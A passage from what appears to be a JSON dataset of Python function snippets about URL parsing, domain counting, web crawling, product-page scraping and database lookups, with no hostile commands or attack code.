open(f).xreadlines():\\n count +=1\\n hits_by_domain[domain.group(2)] = count\\n\\n return hits_by_domain\\n\\n except Exception as e:\\n collectd.info(str(e))\\n return\",\n \"def count_by_domain(\\n bookmarks: Iterator[sqlite3.Row]\\n ) -> Dict[str, int]:\\n counts = {}\\n\\n for bookmark in bookmarks:\\n key = bookmark[\\\"url\\\"].display_domain\\n if key not in counts:\\n counts[key] = cherrypy.engine.publish(\\n \\\"bookmarks:domaincount\\\",\\n bookmark[\\\"url\\\"]\\n ).pop()\\n\\n return counts\",\n \"def proxy_ref_info(request):\\n ref = request.headers.get('referer')\\n if ref:\\n _, _, uri = split_url(ref)\\n if uri.find(\\\"/\\\") < 0:\\n return None\\n first, rest = uri.split(\\\"/\\\", 1)\\n if first in \\\"pd\\\":\\n parts = rest.split(\\\"/\\\", 1)\\n r = (parts[0], parts[1]) if len(parts) == 2 else (parts[0], \\\"\\\")\\n print(\\\"Referred by proxy host, uri: %s, %s\\\", r[0], r[1])\\n return r\\n return None\",\n \"def find_domain_range(record):\\n response = {\\\"domain\\\": [], \\\"range\\\": []}\\n if \\\"http://schema.org/domainIncludes\\\" in record:\\n if isinstance(record[\\\"http://schema.org/domainIncludes\\\"], dict):\\n response[\\\"domain\\\"] = [record[\\\"http://schema.org/domainIncludes\\\"][\\\"@id\\\"]]\\n elif isinstance(record[\\\"http://schema.org/domainIncludes\\\"], list):\\n response[\\\"domain\\\"] = [\\n _item[\\\"@id\\\"] for _item in record[\\\"http://schema.org/domainIncludes\\\"]\\n ]\\n if \\\"http://schema.org/rangeIncludes\\\" in record:\\n if isinstance(record[\\\"http://schema.org/rangeIncludes\\\"], dict):\\n response[\\\"range\\\"] = [record[\\\"http://schema.org/rangeIncludes\\\"][\\\"@id\\\"]]\\n elif isinstance(record[\\\"http://schema.org/rangeIncludes\\\"], list):\\n response[\\\"range\\\"] = [\\n _item[\\\"@id\\\"] for _item in record[\\\"http://schema.org/rangeIncludes\\\"]\\n ]\\n return (response[\\\"domain\\\"], response[\\\"range\\\"])\",\n \"def domain_count(self, url: Url) -> int:\\n\\n sql = \\\"\\\"\\\"SELECT count(*) FROM bookmarks WHERE domain=?\\\"\\\"\\\"\\n\\n if \\\"reddit.com\\\" not in url.domain:\\n count = self._selectFirst(sql, (url.domain,))\\n else:\\n sql += \\\" AND url LIKE ?\\\"\\n count = self._selectFirst(\\n sql,\\n (url.domain, f\\\"%{url.display_domain}%\\\")\\n )\\n\\n return int(count)\",\n \"def by_domains(self):\\n\\t\\t\\n\\t\\t# TODO: use urllib instead\\n\\t\\turl_format = r'^\\\\s*(?:(?P<protocol>\\\\w+)://)?(?P<domain>[\\\\w\\\\d\\\\-\\\\.]+)(?::(?P<port>\\\\d+))?/?(?P<everything_else>.*)$'\\n\\t\\tsites = {}\\n\\t\\tfor line in self.source.lines:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif self.filter(line):\\n\\t\\t\\t\\t\\tresult = re.match(url_format, line.content.url)\\n\\t\\t\\t\\t\\tif result.group('domain') not in sites.keys():\\n\\t\\t\\t\\t\\t\\tsites[result.group('domain')] = 0\\n\\t\\t\\t\\t\\tsites[result.group('domain')] += int(line.content.size)\\n\\t\\t\\texcept AttributeError:\\n\\t\\t\\t\\tpass\\n\\t\\t\\n\\t\\t# TODO: sort; convert to lists is even better\\n\\t\\t\\n\\t\\treturn sites\",\n \"def process_response(self, response):\\n\\n if response.status == 404:\\n return set()\\n\\n # store response HTTP code if not redirect\\n if not (response.status == 301 or response.status == 302):\\n if response.url not in self.crawled_urls:\\n self.crawled_urls[response.url] = response.status\\n\\n # some colorful printing\\n if self.verbose:\\n code = str(response.status)\\n extra_print = \\\"\\\"\\n if code[0] == \\\"2\\\":\\n color = util.GREEN\\n elif code[0] == \\\"3\\\":\\n color = util.BRIGHT_CYAN\\n extra_print = (util.BRIGHT_CYAN + \\\" --> \\\" + util.SANE +\\n response.headers[\\\"Location\\\"].decode())\\n elif code[0] == \\\"4\\\":\\n color = util.RED\\n elif code[0] == \\\"5\\\":\\n color = util.MAGENTA\\n else:\\n color = util.SANE\\n print_str = \\\" [\\\" + color + str(response.status) + util.SANE + \\\"] \\\" + response.url + extra_print\\n util.printit(print_str)\\n\\n # extract cookies and their paths from HTTP response header\\n cookie_paths = self.extract_cookies(response.headers.getlist(\\\"Set-Cookie\\\"), response.url)\\n cookie_urls = set()\\n for path in cookie_paths:\\n cookie_urls.add(self.to_absolute_url(path, response.urljoin))\\n\\n\\n # use scrapy's lxml linkextractor to extract links / URLs\\n scrapy_urls = set()\\n try:\\n # extract <base> URL's domain if a <base> tag exists\\n base_domain = \\\"\\\"\\n base_tag_sels = response.xpath(\\\"//base\\\")\\n for base_tag_sel in base_tag_sels:\\n href_sels = base_tag_sel.xpath(\\\"@href\\\")\\n if href_sels:\\n href = href_sels.extract_first()\\n base_domain = urllib.parse.urlparse(href).netloc\\n break\\n\\n # setup allowed domains and extract new links\\n allowed_domains = [self.domain, \\\"%s:%s\\\" % (self.domain, self.port)]\\n if base_domain:\\n allowed_domains.append(base_domain)\\n raw_scrapy_links = LinkExtractor(allow_domains=allowed_domains,\\n tags=(\\\"a\\\", \\\"area\\\", \\\"script\\\", \\\"link\\\", \\\"source\\\", \\\"img\\\"),\\n attrs=(\\\"src\\\", \\\"href\\\"),\\n deny_extensions=set()).extract_links(response)\\n raw_scrapy_urls = [link.url for link in raw_scrapy_links]\\n\\n # copy discovered URLs and additionally insert initial network location\\n scrapy_urls = raw_scrapy_urls.copy()\\n if base_domain and base_domain != allowed_domains[0] and base_domain != allowed_domains[1]:\\n orig_netloc = urllib.parse.urlparse(response.url).netloc\\n for scrapy_url in raw_scrapy_urls:\\n parsed_scrapy_url = list(urllib.parse.urlsplit(scrapy_url))\\n parsed_scrapy_url[1] = orig_netloc\\n scrapy_urls.append(urllib.parse.urlunsplit(parsed_scrapy_url))\\n scrapy_urls = set(scrapy_urls)\\n except (AttributeError, scrapy.exceptions.NotSupported) as e:\\n if str(e) == \\\"Response content isn't text\\\":\\n # stop processing and return no new URLs\\n return set()\\n raise e\\n\\n\\n # run the different URL / link discovery mechanisms\\n linkfinder_urls, dynamic_urls, form_urls, sub_urls = set(), set(), set(), set()\\n if self.config[\\\"use_linkfinder\\\"].lower() == \\\"true\\\":\\n linkfinder_urls = self.run_linkfinder(response.text, response.urljoin)\\n if self.config[\\\"use_selenium\\\"].lower() == \\\"true\\\":\\n dynamic_urls = self.extract_dynamic_urls(response.url)\\n if self.config[\\\"extract_info_from_forms\\\"].lower() == \\\"true\\\":\\n form_data = extract_form_data(response)\\n # extract new URLs and HTTP parameters from parsed form data\\n form_urls = self.process_form_data(form_data, response.urljoin)\\n\\n # extract sub URLs, i.e. URLs with parent paths\\n sub_urls = extract_sub_urls(response.url)\\n\\n # extract comments if configured\\n if self.config[\\\"extract_comments\\\"].lower() == \\\"true\\\":\\n self.extract_comments(response)\\n\\n # unite discovered URLs\\n urls = set()\\n urls |= cookie_urls\\n urls |= scrapy_urls\\n urls |= linkfinder_urls\\n urls |= dynamic_urls\\n urls |= form_urls\\n urls |= sub_urls\\n\\n # store info about redirect and add redirect URL to discovered URLs\\n if response.status == 301 or response.status == 302:\\n location = response.headers[\\\"Location\\\"].decode()\\n self.redirects[response.url] = {\\\"code\\\": response.status, \\\"to\\\": location}\\n urls.add(self.to_absolute_url(location, response.urljoin))\\n\\n # process all the discovered URLs, i.e. extract new information and decide which to crawl\\n yield_urls = set()\\n for url in urls:\\n # strip anchor\\n if \\\"#\\\" in url:\\n url = url[:url.rfind(\\\"#\\\")]\\n\\n # replace entities and parse URL\\n url = url.replace(\\\"&\\\", \\\"&\\\")\\n url = url.replace(\\\"&\\\", \\\"&\\\")\\n parsed_url = urllib.parse.urlparse(url)\\n\\n # disregard information about directory listing sorting\\n if parsed_url.path.endswith(\\\"/\\\") and re.match(\\\"C=[A-Z];O=[A-Z]\\\", parsed_url.query):\\n continue\\n\\n # extract GET parameters and cut URL if option is configured\\n params = {}\\n if parsed_url.query:\\n if self.config[\\\"crawl_parameter_links\\\"].lower() != \\\"true\\\":\\n url = \\\"%s://%s/%s\\\" % (parsed_url.scheme, parsed_url.netloc, parsed_url.path)\\n params = get_query_params(parsed_url.query)\\n elif url.endswith(\\\"?\\\"):\\n url = url[:-1]\\n\\n # add URL as instance of its path\\n if self.url_has_netloc(url) and params:\\n self.add_path_instance(parsed_url.path, params, {}, {})\\n\\n # skip already crawled URLs\\n if url in self.found_urls:\\n continue\\n self.found_urls.add(url)\\n\\n # skip URLs with different network location\\n if not self.url_has_netloc(url):\\n continue\\n if url == response.url:\\n continue\\n\\n # skip paths that are excluded from crawling\\n if self.exclude_paths and url.count(\\\"/\\\") > 2:\\n check_str = \\\"/\\\" + \\\"/\\\".join(url.split(\\\"/\\\")[3:])\\n if any(re_path.match(check_str) for re_path in self.exclude_paths):\\n continue\\n\\n # check whether to add this URL to the to-be-crawled URLs\\n if url not in yield_urls:\\n # limit the crawling depth\\n max_depth = int(self.config[\\\"max_depth\\\"])\\n if max_depth > 0:\\n depth = parsed_url.path.count(\\\"/\\\")\\n if depth > max_depth:\\n continue\\n\\n # limit the number of times a path can be crawled to avoid endless\\n # crawling upon GET parameter variation\\n if parsed_url.path not in self.crawled_paths:\\n self.crawled_paths[parsed_url.path] = 0\\n self.crawled_paths[parsed_url.path] += 1\\n if self.crawled_paths[parsed_url.path] > int(self.config[\\\"max_path_visits\\\"]):\\n continue\\n\\n yield_urls.add(url)\\n\\n return yield_urls\",\n \"def redirect(prefix):\\n\\tif len(prefix)==2:\\n\\t\\tstart=1000\\n\\t\\tend=9999\\n\\telif len(prefix)==1:\\n\\t\\tstart=10000\\n\\t\\tend=99999\\n\\twhile start<end+1:\\n\\t\\tcount=start\\n\\t\\ttry:\\n\\t\\t\\turl='http://www.adidas.com/us/adidas-/'+prefix+str(count)+'.html'\\n\\t\\t\\treq = urllib2.Request(url)\\n\\t\\t\\treq.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36')\\n\\t\\t\\treq.add_header('Accept-Language','en-US,en;q=0.8')\\n\\t\\t\\treq.add_header('Connection','keep-alive')\\n\\t\\t\\treq.add_header('Accept-Encoding','gzip,deflate,sdch')\\n\\t\\t\\tres = urllib2.urlopen(req)\\n\\t\\t\\tredirectResult = res.geturl()\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tres = urllib2.urlopen(\\\"http://demandware.edgesuite.net/sits_pod20-adidas/dw/image/v2/aaqx_prd/on/demandware.static/Sites-adidas-US-Site/Sites-adidas-products/en_US/v1460455685655/zoom/\\\"+prefix+str(count)+\\\"_01_standard.jpg?sw=500&sfrm=jpg\\\")\\n\\t\\t\\t\\tif res.getcode() == 200:\\n\\t\\t\\t\\t\\tprint prefix+str(count)+' - '+redirectResult\\t\\t\\t\\t\\n\\t\\t\\t\\t\\turllib.urlretrieve(\\\"http://demandware.edgesuite.net/sits_pod20-adidas/dw/image/v2/aaqx_prd/on/demandware.static/Sites-adidas-US-Site/Sites-adidas-products/en_US/v1460455685655/zoom/\\\"+prefix+str(count)+\\\"_01_standard.jpg?sw=500&sfrm=jpg\\\", \\\"images/\\\"+prefix+str(count)+\\\".jpg\\\")\\n\\t\\t\\texcept Exception as e:\\n\\t\\t\\t\\tprint prefix+str(count)+' - '+str(e)\\n\\t\\texcept Exception as e:\\n\\t\\t\\t\\tprint prefix+str(count)+' - '+str(e)\\n\\t\\tstart+=1\",\n \"def count_extracted(j_data):\\n count = 0\\n for record in j_data:\\n tmp = {}\\n desc = record['lcr_desc'].lower().split('/')\\n title = desc[0]\\n cat = category(title)\\n if cat and 'location' in record:\\n count += 1\\n return count\",\n \"def get_unreviewed_redirects(site, namespace=\\\"0\\\"):\\n result = []\\n\\n def _submit_and_parse(request):\\n \\\"\\\"\\\"Divide the answer to the list of values and continue info.\\\"\\\"\\\"\\n answer = request.submit()\\n if \\\"pages\\\" not in answer[\\\"query\\\"]:\\n return ([], {})\\n values = list(answer[\\\"query\\\"][\\\"pages\\\"].values())\\n if \\\"query-continue\\\" in answer:\\n contin = answer[\\\"query-continue\\\"]\\n else:\\n contin = {}\\n return (values, contin)\\n\\n kwargs = {\\n \\\"action\\\": \\\"query\\\",\\n \\\"prop\\\": \\\"links\\\",\\n \\\"pllimit\\\": \\\"5000\\\",\\n \\\"generator\\\": \\\"unreviewedpages\\\",\\n \\\"gurnamespace\\\": namespace,\\n \\\"gurfilterredir\\\": \\\"redirects\\\",\\n \\\"gurlimit\\\": \\\"5000\\\"\\n }\\n\\n while True:\\n # iterate for gurstart, get list of redirects\\n request = Request(site=site, **kwargs)\\n (values, contin) = _submit_and_parse(request)\\n chunk = [{\\\"title\\\": value[\\\"title\\\"], \\\"links\\\": []} for value in values]\\n\\n while True:\\n # iterate for plcontinue, get list of links (ie target candidates)\\n for key, value in enumerate(values):\\n if \\\"links\\\" in value:\\n chunk[key][\\\"links\\\"] += [links[\\\"title\\\"] for links in value[\\\"links\\\"]]\\n if \\\"links\\\" in contin:\\n request[\\\"plcontinue\\\"] = contin[\\\"links\\\"][\\\"plcontinue\\\"]\\n (values, contin) = _submit_and_parse(request)\\n continue\\n else:\\n break\\n result += chunk\\n\\n if \\\"unreviewedpages\\\" in contin:\\n kwargs[\\\"gurstart\\\"] = contin[\\\"unreviewedpages\\\"][\\\"gurstart\\\"]\\n continue\\n else:\\n break\\n\\n # filter result: redirects with two or more links aren't any interesting for us\\n result = [(x[\\\"title\\\"], x[\\\"links\\\"][0]) for x in filter(lambda x: len(x[\\\"links\\\"]) == 1, result)]\\n return result\",\n \"def extract_page_urls(self, _):\\n url = \\\"https://mossadams.taleo.net/careersection/rest/jobboard/searchjobs?lang=en&portal=4160751617\\\"\\n page_num = 1\\n last_count = 0\\n this_count = 0\\n\\n while True:\\n last_count = len(self.urls_to_scrape)\\n payload = PAYLOAD + '\\\"pageNo\\\":' + str(page_num) + \\\"}\\\"\\n json_data = self.post_request(url, out_format='json', headers=HEADERS, data=payload)\\n\\n for job in json_data['requisitionList']:\\n job_url = \\\"https://mossadams.taleo.net/careersection/6/jobdetail.ftl?job=\\\" + job['contestNo']\\n self.urls_to_scrape.add(job_url)\\n\\n # check to see if any new records were scraped; if not, I've reach the end\\n this_count = len(self.urls_to_scrape)\\n if last_count == this_count:\\n break\\n else:\\n last_count = this_count\\n page_num += 1\",\n \"def count_urls(self):\\n return self.request(\\\"count:Message_Url\\\", [ None ])\",\n \"def create_results(self):\\n\\n webhost_map = {}\\n # put the found paths into the webhost map\\n self.process_crawled_urls(webhost_map)\\n # put the found param infos into the webhost map\\n self.process_param_infos(webhost_map)\\n # put the found cookies into the webhost map and get as by product new domains\\n new_domains = self.process_cookies(webhost_map)\\n # get the newly discovered network locations\\n new_netlocs = self.get_new_netlocs()\\n\\n # append new domains to the new network locations\\n for new_domain in new_domains:\\n if self.port != 80 and self.port != 443:\\n new_netlocs.add(new_domains + \\\":\\\" + self.port)\\n else:\\n new_netlocs.add(new_domain)\\n\\n # process discovered redirects and put into webhost map if appropriate\\n for url, redirect in self.redirects.items():\\n path = urllib.parse.urlparse(url).path\\n if url + \\\"/\\\" == redirect[\\\"to\\\"]:\\n continue\\n else:\\n if not self.url_has_netloc(redirect[\\\"to\\\"]):\\n redirect_to = redirect[\\\"to\\\"]\\n else:\\n redirect_to = urllib.parse.urlparse(redirect[\\\"to\\\"]).path\\n\\n code = str(redirect[\\\"code\\\"])\\n if code not in webhost_map:\\n webhost_map[code] = {}\\n if path not in webhost_map[code]:\\n webhost_map[code][path] = {}\\n\\n redirect_info = \\\"redirect to %s\\\" % redirect_to\\n if \\\"misc_info\\\" not in webhost_map[code][path]:\\n webhost_map[code][path][\\\"misc_info\\\"] = redirect_info\\n elif not any(val == redirect_info for val in webhost_map[code][path].values()):\\n for i in range(10):\\n alt_key = \\\"misc_info_%d\\\" % i\\n if alt_key not in webhost_map[code][path]:\\n webhost_map[code][path][alt_key] = redirect_info\\n break\\n\\n return webhost_map, new_netlocs, self.comments\",\n \"def read_callback(data=None):\\n\\n hits_by_domain = get_hits_by_domain()\\n\\n if not hits_by_domain:\\n collectd.info('hits_by_domain not collected successfully')\\n pass\\n else:\\n for key in hits_by_domain:\\n metric = collectd.Values()\\n metric.plugin = 'hits_by_domain'\\n metric.type = 'count'\\n metric.type_instance = key\\n metric.values = [hits_by_domain[key]]\\n metric.dispatch()\",\n \"def queue_domain(event, context):\\n\\n domain = event['domain']\\n fetch_limit = int(os.environ['PAGE_FETCH_LIMIT'])\\n if 'limit' in event:\\n fetch_limit = int(event['limit'])\\n\\n index = os.environ['CC_INDEX']\\n if 'index' in event:\\n index = event['index']\\n\\n # pull all entries for this domain from index\\n indices = list(get_warc_indices_for_domain(domain, index))\\n\\n # sample returned indices to 'limit' (where they exceed 'limit')\\n sampled_indices = indices\\n if fetch_limit < len(indices):\\n sampled_indices = random.sample(indices, fetch_limit)\\n\\n # for each sampled index, get stored page text by URL\\n lambda_client = boto3.client('lambda')\\n\\n results = list()\\n\\n for index in sampled_indices:\\n results.append(\\n lambda_client.invoke(\\n FunctionName='fetch_wet_entry',\\n Payload=json.dumps(index),\\n InvocationType='Event'\\n )\\n )\\n\\n return {\\n \\\"total_index_count\\\": len(indices),\\n \\\"requested_indices\\\": sampled_indices\\n }\",\n \"def domain_parser():\\n\\tinput_handle=\\\"blast_hits.fasta\\\"\\n\\t# File with: (1) the domains of each hit and (2) domains information\\n\\tdomains= \\\"domains_hits.txt\\\"\\n\\toutput_handle = open(domains, \\\"w\\\")\\n\\toutput_handle.write(\\\"#This file contains the domains of each hit.\\\\n#At the bottom, you will find detail information of all the domains detected.\\\\n\\\")\\n\\toutput_handle.write(\\\"#We strongly recommend to open this file with Visual Studio Code.\\\\n#Because when the names of the domains are too large, in regular editors the table looks awful.\\\\n\\\")\\n\\toutput_handle.write(\\\"#Here it is only showed how many times a pattern is present.\\\\n#In the figure of the domains you will find the position of each domain.\\\\n\\\\n\\\")\\n\\taccession_list=[] \\t# List of prosite.doc accessions of the domains that had been found\\n\\tdomains_dict=dict() # dictionary that saves matches\\n\\tcount=1\\n\\tmax_seq_len=0 # Keep larger sequence to plot x-axe\\n\\t# Loop to go through hits\\n\\tfor seq_record in SeqIO.parse(input_handle, \\\"fasta\\\"):\\n\\t\\toutput_handle.write(str(seq_record.id)+\\\"\\\\n\\\") # print identifier of the hit\\n\\t\\toutput_handle.write(str(seq_record.seq)+\\\"\\\\n\\\") # print sequence of the hit\\n\\t\\tif len(seq_record.seq)>max_seq_len:\\n\\t\\t\\tmax_seq_len=len(seq_record.seq)\\n\\t\\t# Make a table for each hit with the domains, that contains the following fields: name, accession, description and pattern\\n\\t\\tx=PrettyTable()\\n\\t\\tx.field_names=[\\\"name\\\",\\\"accession\\\",\\\"description\\\",\\\"pattern\\\",\\\"repetitions\\\"]\\n\\n\\t\\t# Loop to go through prosite domains\\n\\t\\thandle = open(\\\"prosite.dat\\\",\\\"r\\\")\\n\\t\\trecords = Prosite.parse(handle)\\n\\t\\tfor record in records:\\n\\t\\t\\t# prosite.dat preparation for parsing\\n\\t\\t\\t# {} -> [^]\\n\\t\\t\\tpattern = record.pattern.upper()\\n\\t\\t\\tpattern = pattern.replace(\\\"{\\\", \\\"[^\\\")\\n\\t\\t\\tpattern = pattern.replace(\\\"}\\\", \\\"]\\\")\\t\\n\\t\\t\\t# - -> \\\"\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\"-\\\", \\\"\\\")\\t\\n\\t\\t\\t# . -> \\\"\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\".\\\", \\\"\\\")\\t\\n\\t\\t\\t# X|x -> \\\"[ARNDCQEGHILKMFPSTWYV]\\\"\\n\\t\\t\\tAAS=\\\"[ARNDCQEGHILKMFPSTWYV]\\\"\\n\\t\\t\\tpattern = pattern.replace(\\\"x\\\", AAS)\\n\\t\\t\\tpattern = pattern.replace(\\\"X\\\", AAS)\\t\\n\\t\\t\\t# () -> {}\\n\\t\\t\\tpattern = pattern.replace(\\\"(\\\", \\\"{\\\")\\n\\t\\t\\tpattern = pattern.replace(\\\")\\\", \\\"}\\\")\\t\\n\\n\\t\\t\\t# >] -> ]?$\\n\\t\\t\\tpattern = pattern.replace(\\\">]\\\", \\\"]?$\\\")\\t\\n\\n\\t\\t\\t# < -> ^\\n\\t\\t\\t# > -> $\\n\\t\\t\\tpattern = pattern.replace(\\\"<\\\", \\\"^\\\")\\t\\n\\t\\t\\tpattern = pattern.replace(\\\">\\\", \\\"$\\\")\\t\\n\\t\\t\\tif pattern != \\\"\\\":\\n\\t\\t\\t\\t# Look if the hit contains the current patter\\n\\t\\t\\t\\tif re.search(r\\\"\\\"+str(pattern), str(seq_record.seq).upper()): # if found\\n\\t\\t\\t\\t\\tif record.pdoc not in accession_list:\\n\\t\\t\\t\\t\\t\\t# Save pdoc accession in the list of prosite.doc accessions\\n\\t\\t\\t\\t\\t\\t# if it is not already\\n\\t\\t\\t\\t\\t\\taccession_list.append(record.pdoc)\\n\\t\\t\\t\\t\\tmatches = re.finditer(r\\\"\\\"+str(pattern), str(seq_record.seq).upper())\\n\\t\\t\\t\\t\\treps=0\\n\\t\\t\\t\\t\\tfor match in matches: # save all matches in a dictionary to plot them later\\n\\t\\t\\t\\t\\t\\tdomains_dict[count]=[seq_record.id, len(seq_record.seq),record.name,match.start(),match.end()]\\n\\t\\t\\t\\t\\t\\tcount=count+1\\n\\t\\t\\t\\t\\t\\treps=reps+1\\n\\t\\t\\t\\t\\tx.add_row([record.name,record.accession,record.description,record.pattern, reps]) # add found domain to table\\n\\n\\t\\toutput_handle.write(str(x)+\\\"\\\\n\\\") # add table of hit to domains_hits.txt\\n\\n\\t# At the end of the tables, print information of all the domains that had been found\\n\\toutput_handle.write(\\\"\\\\n\\\")\\n\\trecord_text_list=DocParser(accession_list)\\n\\tfor text in record_text_list:\\n\\t\\toutput_handle.write(text)\\n\\treturn (domains_dict,max_seq_len,accession_list)\",\n \"def extract_urls(genome):\\n itemid = genome.get('metadata').get('identifier')\\n urls = set([url for url in genome['urls'] if 'archive.org' not in url])\\n db_urls_found(itemid, urls)\",\n \"def get_domain_of_page(page_url):\\r\\n db = connect()\\r\\n cursor = db.cursor()\\r\\n sql_statement = \\\"\\\"\\\"\\r\\n SELECT on_progress_domains.url\\r\\n FROM on_progress_pages INNER JOIN on_progress_domains ON on_progress_pages.domain_id = on_progress_domains.domain_id\\r\\n WHERE on_progress_pages.page_url = %(d)s\\r\\n \\\"\\\"\\\"\\r\\n try:\\r\\n cursor.execute(sql_statement, {'d':page_url})\\r\\n page = cursor.fetchone()\\r\\n except:\\r\\n cursor.close()\\r\\n db.close()\\r\\n raise RuntimeError(\\\"An Exception happened with the Database, make sure you are connected\\\")\\r\\n cursor.close()\\r\\n db.close()\\r\\n return page\",\n \"def report_domain():\\n req_data = request.get_json()\\n\\n # is authentication token correct?\\n\\n try:\\n auth_token = Token.query.filter_by(auth_token=request.headers.get('Authorization')).first()\\n except:\\n return {\\\"alternatives\\\" : \\\"Database Error with token!\\\"}\\n if not auth_token:\\n return {\\\"alternatives\\\": \\\"Unauthorized!\\\"}\\n\\n now = datetime.datetime.now()\\n\\n # Have we seen this domain before?\\n try:\\n domain = Domain.query.filter_by(domain=req_data['domain']).first()\\n except:\\n return {\\\"report\\\" : \\\"Database Error with domain query!\\\"}\\n\\n if domain: # we've seen it before\\n domain_id = domain.id\\n # Have we seen the mirror before?\\n try:\\n mirror = Mirror.query.filter_by(mirror_url=req_data['mirror_url']).first()\\n except:\\n return {\\\"report\\\" : \\\"Database Error with mirror query!\\\"}\\n if mirror:\\n mirror_id = mirror.id\\n else:\\n mirror = False\\n else: # Let's add it\\n try:\\n domain = Domain(domain=req_data['domain'])\\n db.session.add(domain)\\n db.session.commit()\\n except:\\n return {\\\"report\\\" : \\\"Database Error with mirror addition!\\\"}\\n domain_id = domain.id\\n mirror = False # No domain, no mirror\\n \\n # Add mirror\\n if not mirror:\\n mirror = Mirror(\\n mirror_url=req_data['mirror_url'],\\n domain_id=domain_id)\\n try:\\n db.session.add(mirror)\\n db.session.commit()\\n except:\\n return {\\\"report\\\" : \\\"Database Error with mirror addition!\\\"}\\n mirror_id = mirror.id\\n\\n # check values for lat/long/accuracy\\n try:\\n float(req_data['latitude'])\\n except ValueError:\\n req_data['latitude'] = None\\n \\n try:\\n float(req_data['longitude'])\\n except ValueError:\\n req_data['longitude'] = None\\n try:\\n int(req_data['accuracy'])\\n except ValueError:\\n req_data['accuracy'] = None\\n\\n # Make the report\\n req_data['auth_token'] = auth_token.auth_token\\n req_data['date_reported'] = now\\n req_data['domain_id'] = domain_id\\n req_data['mirror_id'] = mirror_id\\n req_data.pop('domain')\\n req_data.pop('mirror_url')\\n try:\\n report = Report(**req_data)\\n db.session.add(report)\\n db.session.commit()\\n except:\\n return {\\\"report\\\" : \\\"Database Error with report!\\\"}\\n\\n\\n return {\\\"report\\\": \\\"Successfully reported.\\\"}\",\n \"def process_url(self, url):\\n LogParser.increment_count(self.urls, url)\",\n \"def orphaned_pages(self):\\n linked = set()\\n total = {p for p in self.storage}\\n for doc in self.index.run_query(self.name, query.Every('has_links'), limit=10000):\\n for link in doc['links'].split():\\n link = link.split(':', 1)[0]\\n linked.add(link.replace('%20', ' '))\\n return sorted(total - linked)\",\n \"def _findRedirect(self, page):\\n htmlRes = [('koreascience', re.compile(\\\"<script>location.href='(.+)'</script>\\\"))]\\n for domainTag, htmlRe in htmlRes:\\n if domainTag not in page['url']:\\n continue\\n logging.debug('redirect: domain match')\\n match = htmlRe.search(page['data'])\\n if match != None:\\n url = match.group(1)\\n url = urlparse.urljoin(page['url'], url)\\n logging.debug('redirect: found URL %s' % url)\\n page = self._httpGetDelay(url, 1)\\n page = parseHtmlLinks(page)\\n\\n return page\",\n \"def crawler(website_url):\\n\\n try:\\n\\n # open and read the website\\n pageFile = urllib2.urlopen(website_url)\\n pageHtml = pageFile.read()\\n pageFile.close()\\n\\n # call BeautifulSoup on an array of lines in string format\\n soup = BeautifulSoup(\\\"\\\".join(pageHtml), \\\"html.parser\\\")\\n # print soup.prettify()[0:1000]\\n\\n # find all links with hashtag cat, limit to 100 results\\n # FIXME add hashtag cat requirement (string = \\\"#cat\\\")\\n pageLinks = soup.findAll(\\\"a\\\", {\\\"href\\\": True}, limit=100)\\n # import pdb; pdb.set_trace()\\n page_URLs = []\\n\\n for pageLink in pageLinks:\\n pageLink = pageLink['href']\\n\\n # if URL does not have a domain, add the main page's domain'\\n if pageLink[0] == '/' and pageLink[:1] != '//':\\n pageLink = website_url + pageLink\\n\\n # check if item in db, if not - add to db and commit\\n existing_page = session.query(Page).filter_by(page_URL=pageLink).first()\\n\\n # add to array of link strings\\n page_URLs.append(pageLink)\\n\\n if not existing_page:\\n page_URL = Page(page_URL=pageLink)\\n session.add(page_URL)\\n session.commit()\\n\\n # import pdb; pdb.set_trace()\\n return page_URLs\\n\\n except urllib2.URLError as e:\\n # exception handling for URLError\\n if hasattr(e, 'reason'):\\n print \\\"We failed to reach a server.\\\"\\n print \\\"Reason: \\\", e.reason\\n # exception handling for HTTPError\\n elif hasattr(e, 'code'):\\n print 'The server couldn\\\\'t fulfill the request.'\\n print 'Error code; ', e.code\\n else:\\n print 'Everything is fine.'\",\n \"def get_domain_id_by_domainurl(domain_url):\\r\\n db = connect()\\r\\n cursor = db.cursor()\\r\\n sql_statement = \\\"\\\"\\\"\\r\\n SELECT domain_id FROM `domains` WHERE domain_url = %(d)s\\r\\n \\\"\\\"\\\"\\r\\n try:\\r\\n cursor.execute(sql_statement, {'d':domain_url})\\r\\n page = cursor.fetchone()\\r\\n except:\\r\\n cursor.close()\\r\\n db.close()\\r\\n raise RuntimeError(\\\"An Exception happened with the Database, make sure you are connected\\\")\\r\\n cursor.close()\\r\\n db.close()\\r\\n return page\",\n \"def analyze(url):\\n\\n #Note : Using the function to count repeated words and sorted by value\\n\\n print('\\\\n\\\\nVisiting',url)\\n print('The most 25 common word')\\n print('\\\\n{:30} {:6}\\\\n'.format('Word','Count'))\\n\\n content = urlopen(url).read().decode()\\n collector = Collector(url)\\n collector.feed(content)\\n urls = collector.getLinks()\\n\\n words_lst = collector.getdata()\\n print(words_lst)\\n # word_count = Counter(words_lst) # use collection\\n # most_25_common = word_count.most_common(25) #\\n\\n word_count = frequency(words_lst)\\n sorted_word_count = sorted(word_count.items(), key = lambda x : x[1],reverse= True)\\n\\n for word,count in sorted_word_count[:25]:\\n print ('{:30}{:5}'.format(word,count))\\n\\n #return word_count\\n\\n # for word,count in most_25_common:\\n # print('{:30} {:5}'.format(word,count))\\n # return urls\",\n \"def get_pages_count(link_headers):\\n last_header = link_headers.get('last')\\n if last_header:\\n return int(parse_qs(urlparse(last_header['url']).query)['page'][0])\\n return 1\",\n \"def hash_entries(entries):\\n d = dict()\\n for e in entries:\\n uri = e[\\\"uri\\\"]\\n domain = re.match(\\\"^/view\\\\d*/(.*)$\\\", uri).group(1)\\n if domain:\\n visitor_id = e[\\\"visitor_id\\\"]\\n if d.has_key(domain):\\n store_page_entries = d[domain]\\n store_page_entries.append(visitor_id)\\n else:\\n d[domain] = [visitor_id]\\n print \\\"Retrieved {0} unique domains.\\\".format(len(d))\\n return d\",\n \"def select_unscrapped_page(domain):\\r\\n db = connect()\\r\\n cursor = db.cursor()\\r\\n pages = None\\r\\n sql_statement = \\\"\\\"\\\"\\r\\n SELECT page_url\\r\\n FROM on_progress_pages INNER JOIN on_progress_domains ON 